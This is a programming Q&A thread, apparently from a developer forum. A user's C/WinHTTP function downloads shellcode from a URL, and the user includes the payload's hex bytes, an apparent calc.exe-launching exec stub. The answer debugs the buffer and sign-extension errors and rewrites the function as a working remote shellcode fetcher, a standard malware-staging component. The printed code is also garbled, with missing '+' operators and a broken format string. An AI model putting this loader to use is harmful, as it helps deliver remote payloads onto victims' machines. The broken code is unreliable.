I have a problem with my C code, I would like to download from a URL the data of a file (shellcode) and store it in an unsigned char array (mycode), with the code below, when there are 0's in the file containing the shellcode the program removes some zero's and thus alters the shellcode :
Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {
BOOL bResults = FALSE;
DWORD dwSize = 0;
LPSTR pszOutBuffer;
DWORD dwDownloaded = 0;
unsigned char mycode[DEFAULT_BUFLEN] = "";
LPCWSTR accept[2] = { L"application/octet-stream", NULL };
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
{
hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
printf("Success in WinHttpConnect\n");
}
else
{
printf("Failed in WinHttpConnect (%u)\n", GetLastError());
}
// Create an HTTP request handle.
if (hConnect)
{
hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
printf("Success in WinHttpOpenRequest\n");
}
else
{
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
}
// Send a request.
if (hRequest)
{
bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
printf("Success in WinHttpSendRequest\n");
}
else
{
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
}
// End the request.
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
printf("Success in WinHttpReceiveResponse\n");
}
else
{
printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
}
// Keep checking for data until there is nothing left.
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
// Allocate space for the buffer.
pszOutBuffer = malloc(dwSize 1);
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n", GetLastError());
}
else
{
memcpy(mycode, (LPVOID)pszOutBuffer, dwSize);
}
free(pszOutBuffer);
}
} while (dwSize > 0);
}
if (sizeof(mycode) == DEFAULT_BUFLEN)
{
printf("Success retrieving the shellcode\n");
printf("Shellcode Size : %d\n", sizeof(mycode));
}
else
{
printf("Failed retrieving the shellcode\n");
exit;
}
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
size_t size = sizeof(mycode);
char* PE = (char*)malloc(size);
for (int i = 0; i < sizeof(mycode); i ) {
PE[i] = mycode[i];
}
Buffer buffer;
buffer.data = PE;
buffer.size = size;
return buffer;
}
The shellcode is the following (xxd -p shellcode.bin) :
fc4883e4f0e8c0000000415141505251564831d265488b5260488b521848
8b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d41
01c1e2ed524151488b52208b423c4801d08b80880000004885c074674801
d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0
ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d0
66418b0c48448b401c4901d0418b04884801d0415841585e595a41584159
415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000
000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dff
d54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c
632e6578652000
And the output when i call my function WinREQ is the following :
fffffffc48ffffff83ffffffe4fffffff0ffffffe8ffffffc0000415141505251564831ffffffd26548ffffff8b526048ffffff8b521848ffffff8b522048ffffff8b725048fffffffb74a4a4d31ffffffc94831ffffffc0ffffffac3c617c22c2041ffffffc1ffffffc9d411ffffffc1ffffffe2ffffffed52415148ffffff8b5220ffffff8b423c481ffffffd0ffffff8bffffff80ffffff8800048ffffff85ffffffc07467481ffffffd050ffffff8b481844ffffff8b4020491ffffffd0ffffffe35648ffffffffffffffc941ffffff8b34ffffff88481ffffffd64d31ffffffc94831ffffffc0ffffffac41ffffffc1ffffffc9d411ffffffc138ffffffe075fffffff14c34c2484539ffffffd175ffffffd85844ffffff8b4024491ffffffd06641ffffff8bc4844ffffff8b401c491ffffffd041ffffff8b4ffffff88481ffffffd0415841585e595a41584159415a48ffffff83ffffffec204152ffffffffffffffe05841595a48ffffff8b12ffffffe957ffffffffffffffffffffffff5d48ffffffba1000000048ffffff8dffffff8d110041ffffffba31ffffff8b6fffffff87ffffffffffffffd5ffffffbbfffffff0ffffffb5ffffffa25641ffffffbaffffffa6ffffff95ffffffbdffffff9dffffffffffffffd548ffffff83ffffffc4283c67caffffff80fffffffbffffffe0755ffffffbb4713726f6a05941ffffff89ffffffdaffffffffffffffd563616c632e65786520
I don't understand why there is padding (fff) and I also don't understand why some zeros are replaced : 8c0000000415 replaced by 8c0000415. Can you please help me?
CodePudding user response:
There are some mistakes in your code:
your call to
memcpy()
should be usingdwDownloaded
instead ofdwSize
sinceWinHttpReadData()
can potentially returndwDownload
as smaller than the requesteddwSize
.since you are calling
WinHttpReadData()
in a loop, you need to append newly downloaded bytes after previously stored bytes. You are currently overwritingmycode
on each loop iteration, losing previous bytes.you are not ensuring that
dwSize
/dwDownloaded
is<= DEFAULT_BUFLEN
before callingmemcpy()
, so you are risking a buffer overflow. You are downloading as many bytes as WinHTTP tells you are available, not how many bytes you can physically store.since
mycode
is a fixed-sized array of sizeDEFAULT_BUFLEN
,sizeof(mycode) == DEFAULT_BUFLEN
is always true. You need to instead keep track of how many bytes you actually store inmycode
, and then you can check that value after the loop is finished.for that matter, since
Buffer
can hold a variable number of bytes, you should not be storing your downloaded bytes in a fixed-sized array to begin with. You can use a fixed-sized array to callWinHttpReadData()
, and then append those bytes to a variable-sized dynamic array that you can then store in the finalBuffer
. Or, you can just get rid of the fixed-sized array altogether and receive bytes directly into the variable-sized array.you are not printing the byte values correctly. Your buffer is an array of
char
s, andchar
may be eithersigned
orunsigned
, depending on compiler implementation. In your case, it is clearlysigned
because you are suffering from sign extension, that is where the extraf
s are coming from whenever the high bit of a given byte is1
. When printing a byte as achar
, you need to cast it to anunsigned
type first so you will print using zero extension instead.
With that said, try something more like this instead:
Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {
BOOL bResults = FALSE;
DWORD dwSize = 0;
LPBYTE pszOutBuffer = NULL, pszNewBuffer = NULL;
DWORD dwDownloaded = 0, dwTotal = 0;
LPCWSTR accept[2] = { L"application/octet-stream", NULL };
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession)
{
printf("Failed in WinHttpOpen (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpOpen\n");
// Specify an HTTP server.
hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
if (!hConnect)
{
printf("Failed in WinHttpConnect (%u)\n", GetLastError());
goto Finished;
}
// Create an HTTP request handle.
hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
if (!hRequest)
{
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpOpenRequest\n");
// Send a request.
bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!bResults)
{
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpSendRequest\n");
// End the request.
bResults = WinHttpReceiveResponse(hRequest, NULL);
if (!bResults)
{
printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
goto Finished;
}
printf("Success in WinHttpReceiveResponse\n");
// Keep checking for data until there is nothing left.
do
{
// Check for available data.
bResults = WinHttpQueryDataAvailable(hRequest, &dwSize);
if (!bResults)
{
printf("Error in WinHttpQueryDataAvailable (%u)\n", GetLastError());
break;
}
// Allocate space for the buffer.
pszNewBuffer = (LPBYTE) realloc(pszOutBuffer, dwTotal dwSize);
if (!pszNewBuffer)
{
printf("Out of memory\n");
bResults = FALSE;
break;
}
pszOutBuffer = pszNewBuffer;
// Read the Data.
bResults = WinHttpReadData(hRequest, pszOutBuffer dwTotal, dwSize, &dwDownloaded);
if (!bResults)
{
printf("Error in WinHttpReadData (%u)\n", GetLastError());
break;
}
dwTotal = dwDownloaded;
}
while (dwDownloaded != 0);
Finished:
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
if (!bResults)
{
printf("Failed retrieving the shellcode\n");
free(pszOutBuffer);
pszOutBuffer = NULL;
dwTotal = 0;
}
else
{
printf("Success retrieving the shellcode\n");
printf("Shellcode Size : %u\n", dwTotal);
for(DWORD i = 0; i < dwTotal; i)
{
printf("x", pszOutBuffer[i]);
}
}
Buffer buffer;
buffer.data = (LPSTR) pszOutBuffer;
buffer.size = dwTotal;
return buffer;
}